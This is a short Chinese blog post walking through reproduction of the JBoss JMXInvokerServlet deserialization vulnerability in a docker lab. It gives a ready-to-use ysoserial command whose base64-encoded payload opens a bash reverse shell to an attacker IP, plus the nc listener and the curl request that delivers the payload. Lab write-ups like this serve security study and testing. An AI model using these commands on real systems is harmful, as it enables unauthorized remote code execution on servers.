JBoss JMXInvokerServlet 反序列化漏洞

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

参考文档:

漏洞环境

启动漏洞环境

docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

漏洞复现

这里使用JavaDeserH2HC工具或者ysoserial工具都是可以的:
具体的方法可以查看JBos4.x 或 JBoss5.x/6.x攻击方法(这里我使用ysoserial进行演示)
生成序列化数据,并重定向到exp.ser文件

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" >exp.ser

nc监听9999端口

通过二进制POST方式发送攻击载荷到 /invoker/JMXInvokerServlet

curl http://192.168.75.130:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

成功收到shell

posted @ 2022-05-17 17:50  NoCirc1e  阅读(279)  评论(0编辑  收藏  举报